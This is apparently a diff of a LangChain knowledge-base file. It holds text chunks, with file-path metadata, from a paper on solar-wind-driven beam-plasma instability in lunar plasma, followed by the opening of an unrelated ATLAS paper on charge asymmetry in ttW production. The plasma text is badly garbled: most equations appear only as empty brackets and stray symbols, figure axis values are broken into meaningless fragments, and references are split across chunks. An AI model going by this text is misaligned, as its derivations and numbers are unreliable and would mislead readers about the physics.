+page_content='  R2  Figure 1: Beam-plasma dielectric function [Piel, 2010].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' For a given value of the plasma and the solar wind (beam) parameters, if a kis above the threshold then there will be four real solutions.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' On decreasing, when the kgoes below the threshold, the maxima go below zero and the left beam mode and right plasma mode merged and can be seen in Figure 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The dispersion relation obtained from the analysis of beam plasma instability is [Anderson et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=',' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 2001]  ( ⃗⃗⃗ ⃗⃗⃗⃗⃗⃗⃗ ) (1) (   ⃗ )  ( ⃗⃗⃗ ⃗⃗⃗⃗⃗⃗⃗ ) (2) The term   ⃗⃗⃗ ⃗⃗⃗⃗⃗⃗     (Doppler shifted frequency) and  (3) Hence,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' the dispersion relation becomes (   ⃗ )  (     )             (4) The local extremum of this function is obtained  (     )      (5) which becomes (     )            (6) and gives (  ⁄  ) [(    )  (  ⁄  )  (  ⁄  ) (    )]                      (7) Case 1: When 1stterm is zero in equation (7) (  ⁄ ) Now,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' ω = ωm when dD/dω = 0  (  ⁄ )(8) If we put back the expression of alpha then it becomes  ⁄  (  ⁄  ⁄ ) (9) This is the local maxima of the function Case 2: When 2nd term is zero in above equation (  ⁄  ⁄ )    (  ⁄   )  ω is obtained from this quadratic equation as:  (  ⁄ )     √  ⁄  (  ⁄  ⁄ )  Here,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' the solution is complex unable to give the local extremum of the dispersion function.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Hence, the 1st case real solution is considered to find the local maxima as (    ⃗ )  (      )      (10) Substituting ωmfrom (8), we get (    ⃗ )  ⁄  (  ⁄ )      (11) This local maxima determines when instability isgenerated.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The maxima depend on the solar wind and lunar plasma parameters.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Two cases exist here, one where Dm > 0 and the other when Dm < 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1 Dm > 0: Real roots When Dm > 0, four real roots of the dispersion relation are obtained as follows (K = e2/mε0): (   ⃗ )  (     )  = 0      (12) which gives (   )   ( ) (      ) (13) It is evident from this 4th order quartic equation in ω terms that there are two singularities at the 2nd and 3rd term.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The D (ω, k) expression gives singularity at ω = 0 due to the space charge of lunar plasma.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' This is the plasma singularity and the modes (normal plasma space charge oscillations) around this singularity are also solar wind independent.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The other singularity is at ω = ωd which occurs only when there is a beam (the solar wind) in the system irrespective of its strength (the number density and velocity).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The value of beam singularity ωd = kvb is large as vb is of the order of 105m/sec (solar wind velocity) and is located far away from the origin.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The nature of dispersion relation remains independent of the singularity ωd = kvb and also around the 2nd singularity (one singularity doesn‟t affect the nature around another singularity).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' So, it can be split into two parts - one containing the plasma singularity and the other containing the beam modes and solved separately for the four propagating plasma modes.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' (   ⃗ )  (     )  = 0 Near ω ≈ 0, 1 – ωp 2/ω2 = 0 giving 2 roots (plasma modes) √  Near ω ≈ ωd  (     ) which also gives 2 roots which are called beam modes √ √  The phase velocities of these two beam modes are  √  √  The two beam modes are travelling waves with different phase velocities but same group velocities which imply  2  3  dielectric function  0  2 0p0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='001  .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='. .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=',0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='01 4  0g=0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1 2 1  0  1  2  3  w/wpe3  these modes are superposition of many waves.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Also, the group velocity is equal to the beam velocity which suggests that the beam modes are in resonance with the beam itself and this can lead to an interaction between the modes and the beam.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The other two plasma modes have both zero phase and group velocity, because they are plasma oscillations.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' These modes can become plasma waves if the thermal velocities of plasma constituents are taken into account in the analysis which is not doing here assuming „cold‟ lunar plasma.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' In summary of the propagating modes, two beam (solar wind) independent solutions are obtained and these two exist due to the lunar plasma and the other two modes (travelling waves) comes into existence only when the solar wind with high velocities comes and interacts with the lunar plasma.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='2 Dm < 0: Complex roots The instability will be seen only if Dm ≤ 0 and this condition give a threshold for the plasma instability generation as (    ⃗ )    *  ⁄ + (  ⁄ )  Now,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  ,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  ,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  ,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='      ⃗ ⃗⃗⃗⃗⃗⃗ Substituting these values in the above relation  (  )  ⁄  +  [  (  )  ⁄ ]  The threshold for lunar instability generation is given as  ( )  ⁄  +  [  (  )  ⁄  ]  (14) It can be inferred here that for the given values of lunar plasma density ne,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' the solar wind (beam) number density nb and solar wind (beam) velocity vb,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' an instability will always get triggered.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='The lunar plasma number density is typically in range 10 cm-3 to 300 cm-3and the solar wind parameters are nb = 5 cm-3 and vb = 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='75 × 105m/sec.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' At any given lunar altitude where the value of these parameters is known, the propagation constants can be obtained for which the instability gets generated.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Hence, at a specific altitude, multiple instabilities of different k can be triggered leading to the generation of multiple plasma waves.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Lunar Plasma Instability: Results 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1 Growth Factor When the local maxima of D(ω, k) goes below zero then the two roots vanish, and only a single plasma and beam mode survive.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' These two roots are complex conjugates of each other (ω = ωr ± ωim) and are obtained by Taylor expansion of the dispersion function about the maxima.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Expanding D(ω,k) about the local maxima ωm as given in equation (8) ( )   (  )  (    ) |  (    ) |             (15) Now, D(ωm) is given by equation (11), D(ωm) < 0 which is the threshold and D′(ωm) = 0 since this point is local maxima and also D′′(ωm) < 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The required dispersion relation is D(ω) = 0 which is a quadratic equation in terms of (ω − ωm) (  )  (    )  (  ) (    )    (  )  (  )   √(  (  ))      (  ) (  ) (  ) = 0 But D′(ωm) = 0, hence √  (  ) (  ) Both quantities inside the root are positive, so by Taylor expansion, the dispersion relation about the maxima gives two complex conjugate roots for ω.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='The real part of ω is given as ωre  (  ⁄ )  ⁄  (  ⁄  ⁄ ) (16) And it gives the phase and group velocities of instability  (  ⁄ )  (  ⁄ )  In these expressions, when α ≪1, there is resonance between the instability‟s propagation and the movement of the solar wind (beam) making energy transfer from electrons to the instability.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The imaginary part of ω is the growth rate (amplitude increase with time) √ (  ) (  )                   (17) Now,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' the term D′′(ωm) is obtained from equation (5) as (     ) +      (18) At ω = ωm,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' and using equation (8),' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' equation (18) becomes  (  ⁄ ) ⁄ +      (19) D(ωm) and d2D/dω2 are inserted in equation (17) to obtain  √ (  ⁄ )  ⁄ [  (  ⁄ )  ⁄ (  ⁄ )  ⁄  ⁄  ]  ⁄  Dividing the whole by ωp 2 and taking ωb 2/ωp 2 = α,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' it becomes  ⁄  √ (  ⁄ )  ⁄ (  ) [  (  ⁄  ⁄ )  ]  ⁄ - (20) This expression shows that that the growth factor depends on lunar plasma,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' solar wind (beam) parameters and the k of plasma wave.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' At a given lunar altitude, multiple  4  different instability modes can exist which are differentiated by their k as per the threshold.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Every such mode with a specific k will have its growth rate given by equation (20).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The growth factor with k (for different values of ne) is plotted in Figure 2 to find the fastest growing mode and to look for the expression for a specific k which gives the maximum growth.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='The ne variation is taken as 10 cm-3, 50 cm-3, 100 cm-3, 200 cm-3 and 300 cm-3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  Figure 2: The growth factor with k for different ne.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Let K = (1 + α + 3α1/3 + 3α2/3), equation (20) becomes  ⁄  √ (  ⁄ )  ⁄ (  ) [  ]  ⁄ (21)  ⁄  √ (  ⁄ )  [  (  )  ⁄  (  )  ⁄ ] For maxima dωim/dωd = 0  ⁄  √ (  ⁄ )  [  (  )  ⁄  (  )  ⁄  ]  which gives  √ Now ωd = kvb, hence we get  √  Inserting K from above  (  ) √  ⁄  ⁄ 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='2 Decay Rate When the dispersion relation is expanded in the Taylor series, the complex solutions comes √  (  ) (  ) This gives two solutions which are complex conjugates of each other.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The imaginary partgives the beam plasma instability and the other a propagating mode.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' E = E0ei(kx-ωt) , ω = ωr ± iωim,        (             ) which becomes (       ) The solution corresponding to +ωim correspond to the instability and the solution with −ωim corresponds to a decaying mode as with time the amplitude will decrease.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' These growing and decaying modes show striking similarity in its properties with the instabilities.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The decay rate with respect to k value of the modes for different values of ne is shown in Figure 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' It can be seen from the figure that a mode with highest decay rate will decay early and with increasing ne, the k value with the highest decay rate will also increase.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Therefore, it can be concluded that the solar wind impact on the lunar plasma can trigger (i) Langmuir plasma oscillations;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' (ii) Right beam propagating modes;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' (iii) Beam-plasma instability;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' (iv) Beam plasma decay mode.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  Figure 3: Symmetric nature of decay and growth rates.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The growth rate and decay rate are symmetric to each other which means for a given ne, the maximum growth rate and decay rate occur at the same k value.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' This strong symmetric nature suggests a strong energy exchange mechanism i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' with time the instability modes gain energy and in other case with time the decay modes loose energy.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' It suggests that a resonance exist between the solar wind, lunar plasma and plasma instability where during the instability growth the solar wind dump energy in the lunar plasma and during the decay the lunar plasma pumps energy in the solar wind quenching the instability.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' References 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Mickael Melzani, “Plasma Instabilities”, Centre de Recherche Astrophysique de Lyon, Ecole Normale Superieure de Lyon, France, 2014, Page: 1-24 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Alexander Piel, “Plasma Physics”, Springer-Verlag, Berlin Heidelberg, doi:10.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1007/978-3-642-10491-6 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' D.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Anderson, R.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Fedele, & M.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Lisak, “A tutorial presentation of the two stream instability and Landau damping”, Am.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' J.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Phys.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=', 69 (12), 2001, 1262-1266, doi:10.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1119/1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='14072521  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='35  ne=10cmA3  ne=50cm^3  ne=100cm^3  E"O  ne=200cm^3  ne=300cmA3  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='25  .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='pe  m/!' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' m  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='2  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='15  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='05  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  2  2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  3  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  w_d/w_pe0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='4  ne=10cmA3  ne =50cmA3  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='3  ne=100cmA 3  ne=200cm^3  ne=300cmA 3  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='2 w_im/w_pe  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='1 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content="1  2'0 0." metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='3 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='4  0  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  1  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  2  2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  3  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='5  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
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HtE2T4oBgHgl3EQf_AnW/content/tmp_files/2301.04245v1.pdf.txt

@@ -0,0 +1,2604 @@
+EUROPEAN ORGANISATION FOR NUCLEAR RESEARCH (CERN)
+Submitted to: JHEP
+CERN-EP-2022-249
+12th January 2023
+Search for leptonic charge asymmetry in 𝒕¯𝒕𝑾
+production in final states with three leptons at
+√𝒔 = 13 TeV
+The ATLAS Collaboration
+A search for the leptonic charge asymmetry (𝐴ℓ
+c) of top-quark–antiquark pair production in
+association with a 𝑊 boson (𝑡¯𝑡𝑊) is presented. The search is performed using final states
+with exactly three charged light leptons (electrons or muons) and is based on √𝑠 = 13 TeV
+proton–proton collision data collected with the ATLAS detector at the Large Hadron Collider
+at CERN during the years 2015–2018, corresponding to an integrated luminosity of 139 fb−1.
+A profile-likelihood fit to the event yields in multiple regions corresponding to positive and
+negative differences between the pseudorapidities of the charged leptons from top-quark and
+top-antiquark decays is used to extract the charge asymmetry. At reconstruction level, the
+asymmetry is found to be −0.123 ± 0.136 (stat.) ± 0.051 (syst.). An unfolding procedure is
+applied to convert the result at reconstruction level into a charge-asymmetry value in a fiducial
+volume at particle level with the result of −0.112 ± 0.170 (stat.) ± 0.054 (syst.). The Standard
+Model expectations for these two observables are calculated using Monte Carlo simulations
+with next-to-leading-order plus parton shower precision in quantum chromodynamics and
+including next-to-leading-order electroweak corrections.
+They are −0.084 +0.005
+−0.003 (scale)
+± 0.006 (MC stat.) and −0.063 +0.007
+−0.004 (scale) ± 0.004 (MC stat.) respectively, and in agreement
+with the measurements.
+© 2023 CERN for the benefit of the ATLAS Collaboration.
+Reproduction of this article or parts of it is allowed as specified in the CC-BY-4.0 license.
+arXiv:2301.04245v1  [hep-ex]  10 Jan 2023
+
+CERN1 Introduction
+The production of a top-quark–antiquark (𝑡¯𝑡) pair in association with a 𝑊 boson, commonly referred to as
+𝑡¯𝑡𝑊, is a rare process in the Standard Model (SM) that can be produced at the Large Hadron Collider (LHC).
+State-of-the-art cross-section calculations for the 𝑡¯𝑡𝑊 process are especially complex, as large corrections
+arise from higher powers of both the strong and weak couplings [1]. Thus, measurements of the 𝑡¯𝑡𝑊 process
+represent a sensitive test of the predictions of quantum chromodynamics (QCD) and the electroweak (EW)
+sector of the SM, as well as their interplay. Both the inclusive and differential cross-section measurements
+are very relevant, as they can provide indirect hints of new physics beyond the SM (BSM) in scenarios
+where at least one of the SM couplings is modified [2]. Furthermore, it can be one of the main backgrounds
+in searches for BSM phenomena, such as supersymmetric squark or gluino production or vector-like
+quarks [3, 4]. It also represents an irreducible background in many measurements of SM processes such as
